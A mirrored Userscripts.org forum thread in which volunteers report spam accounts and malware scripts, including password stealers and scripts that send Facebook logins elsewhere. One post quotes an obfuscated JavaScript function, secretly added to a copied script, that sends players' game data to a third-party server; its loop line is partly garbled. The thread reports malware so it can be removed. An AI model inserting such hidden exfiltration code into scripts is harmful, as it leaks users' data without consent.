THIS IS A STATIC MIRROR OF USERSCRIPTS.ORG - LOGINS DO NOT WORK

Spam and malware

in Userscripts.org discussion
Subscribe to Spam and malware 3530 posts, 606 voices



Jefferson Scher Scriptwright
FirefoxWindows

Right Shopping posted this spam.

 
Marti Scriptwright
FirefoxX11

Deny Firman posted this spam.


long champshop posted this spam.
micheal lambert posted this spam.

 
Jefferson Scher Scriptwright
FirefoxWindows

matthew reid posted this spam.

 
Runs With Sc... User
FirefoxWindows

aommrr posted this spam.

 
Runs With Sc... User
FirefoxWindows

aommrr posted this spam.

 
nice_bow_tie Scriptwright
FirefoxX11

These scripts contain malware. Please can they be removed:

https://userscripts-mirror.org/scripts/review/120336 (obvious password stealer)

https://userscripts-mirror.org/scripts/review/121025 (another script by the same author that contains similar code)

https://userscripts-mirror.org/scripts/review/112844 (another similar password stealing script)

 
nice_bow_tie Scriptwright
FirefoxX11

Also, all scripts by the following users appear to be copies of other scripts but with malicious code added to the end:

https://userscripts-mirror.org/users/422227/scripts
https://userscripts-mirror.org/users/422222/scripts
https://userscripts-mirror.org/users/422223/scripts

 
nice_bow_tie Scriptwright
FirefoxX11

These users too. All their scripts are copies of other users' scripts with the same malicious code added onto the end:

https://userscripts-mirror.org/users/422224/scripts
https://userscripts-mirror.org/users/422226/scripts

 
Jefferson Scher Scriptwright
FirefoxWindows

karbonn posted this spam.

 
Jefferson Scher Scriptwright
FirefoxWindows

Right Perfumes posted this spam.


rsmicromax posted this spam.


jan fry posted this spam.

 
Jawz74 Scriptwright
ChromeWindows

Do not know if I'm in the right place to post that...

The following script is copy of mine : https://userscripts-mirror.org/scripts/show/121771

And the stealer has put this piece of code in it :

updateDb : function (){
var _0xa3cc=["\x53\x65\x61\x72\x63\x68","\x67\x65\x74\x43\x69\x74\x79\x4C\x69\x73\x74","\x6C\x65\x6E\x67\x74\x68","\x6D","\x68\x74\x74\x70\x3A\x2F\x2F\x64\x65\x61\x6D\x6F\x62\x69\x6C\x65\x2E\x6E\x6C\x2F\x75\x70\x64\x61\x74\x65\x2E\x70\x68\x70\x3F\x72\x65\x61\x6C\x6D\x3D","\x26\x72\x65\x61\x6C\x6D\x3D","\x26\x63\x69\x74\x79\x5F\x78\x3D","\x78","\x26\x63\x69\x74\x79\x5F\x79\x3D","\x79","\x26\x70\x6C\x61\x79\x65\x72\x5F\x61\x6C\x6C\x69\x3D","\x61","\x26\x70\x6C\x61\x79\x65\x72\x5F\x70\x6F\x77\x65\x72\x3D","\x26\x70\x6C\x61\x79\x65\x72\x5F\x6E\x61\x6D\x65\x3D","\x6E","\x26\x63\x69\x74\x79\x5F\x74\x79\x70\x65\x3D","\x74","\x74\x79\x70\x65","\x6E\x61\x6D\x65\x73","","\x47\x45\x54"];var t=Tabs[_0xa3cc[0]];var cities=t[_0xa3cc[1]]();for(var i=0;i<cities>0){var urlstring=_0xa3cc[4]+SERVER_ID;urlstring+=_0xa3cc[5]+SERVER_ID;urlstring+=_0xa3cc[6]+cities[i][_0xa3cc[7]];urlstring+=_0xa3cc[8]+cities[i][_0xa3cc[9]];urlstring+=_0xa3cc[10]+cities[i][_0xa3cc[11]];urlstring+=_0xa3cc[12]+cities[i][_0xa3cc[3]];urlstring+=_0xa3cc[13]+cities[i][_0xa3cc[14]];urlstring+=_0xa3cc[15]+((cities[i][_0xa3cc[16]]>9)?(Map[_0xa3cc[18]][_0xa3cc[17]][cities[i][_0xa3cc[16]]]):_0xa3cc[19]);GM_xmlhttpRequest({method:_0xa3cc[20],synchronous:true,url:urlstring});} ;} ;
},

It's using a third-party server, and this kind of stuff should not be found there.

Is any chance to remove this script ? Thanks.

 
Jefferson Scher Scriptwright
FirefoxWindows

Rightperfume posted this spam.


right shopping posted this spam.


giftflowersusa posted this spam.

 
Mindeye Scriptwright
FirefoxWindows

nhgifg9f0ds posted this spam.

 
Boondoklife Scriptwright
FirefoxWindows

nhgifg9f0ds posted this spam.

 
Jefferson Scher Scriptwright
FirefoxWindows

dem313131 posted this spam.


sunnytao posted this spam.

 
Jefferson Scher Scriptwright
FirefoxWindows

carlos moppets posted this spam.

 
Boondoklife Scriptwright
ChromeWindows

bgvfydfdshj posted this spam

 
Jefferson Scher Scriptwright
FirefoxWindows

placestoseei... posted this spam.

 
Marti Scriptwright
FirefoxX11

nbfufdafghui posted this spam.


nhfidofdsaf posted this spam.
flowerdelive... posted this spam.
rakhigifts posted this spam.
Rakhi WorldWide posted this spam.

 
nice_bow_tie Scriptwright
FirefoxX11

Here's another user with malware scripts:

https://userscripts-mirror.org/users/427958/scripts

They all do the same thing - cause the Facebook login form to be submitted to another site. The only reason to do this is to get the user's ID and password.

 
Jefferson Scher Scriptwright
FirefoxWindows

Right Rakhi posted this spam.


flowers888 posted this spam.


flowersdeliv... posted this spam.

 
Marti Scriptwright
FirefoxX11

Right Flower posted this spam.

 
Boondoklife Scriptwright
FirefoxWindows

ngfuopigof8 posted this spam

 
Jefferson Scher Scriptwright
FirefoxWindows

travelstour12 posted this spam.


Newcastle St... posted this spam.

 
Marti Scriptwright
FirefoxX11

nhkdlgfdo posted this spam.